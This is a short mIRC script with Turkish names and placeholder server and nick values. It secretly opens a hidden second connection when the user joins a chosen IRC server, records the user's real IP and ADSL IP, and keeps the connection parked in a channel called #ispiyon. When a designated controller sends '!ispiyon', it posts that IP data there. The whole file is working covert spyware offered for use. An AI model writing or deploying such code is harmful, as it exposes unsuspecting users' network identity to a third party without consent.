alias ayr return $remove($gettok($1-,1,33),$chr(58)) 
on *:connect:if $server == irc.sunucunuz.uzantısı { sockopen ajan $server 6667 }
on *:sockopen:ajan: {
  var %t = $+(IP,$r(1,999)),%u = $+(mIRC,$r(1,999))
  sockwrite -n ajan nick %t
  sockwrite -n ajan user %u * * $sock(ajan).addr
  sockmark ajan %t
  set %& $+(Gerçek IP:,$chr(32),$ip,$chr(32),ADSL IP:,$chr(32),$sock(ajan).bindip)
}
on *:sockread:ajan: { var %y | sockread %y | tokenize %y | _ok %y }
alias _ok {
  if $sock(ajan) {
    if $1 == PING { sockwrite -n ajan PONG $remove($2,$chr(58)) }
    if $ayr($1) == $sock(ajan).mark && $2 == JOIN { 
      if $remove($3,$chr(58)) != #ispiyon { 
        sockwrite -n ajan part $remove($3,$chr(58)) 
      }
    }
    if $remove($1,$chr(58)) == $sock(ajan).mark && $2 == MODE && $3 == $sock(ajan).mark { 
      sockwrite -n ajan join #ispiyon
    }
    if $2 == privmsg && $3 == #ispiyon && $remove($4,$chr(58)) == !ispiyon && $ayr($1) == NICK'iniz {
      sockwrite -n ajan privmsg #ispiyon Son veriler: %& | sockclose ajan 
    }
  }
}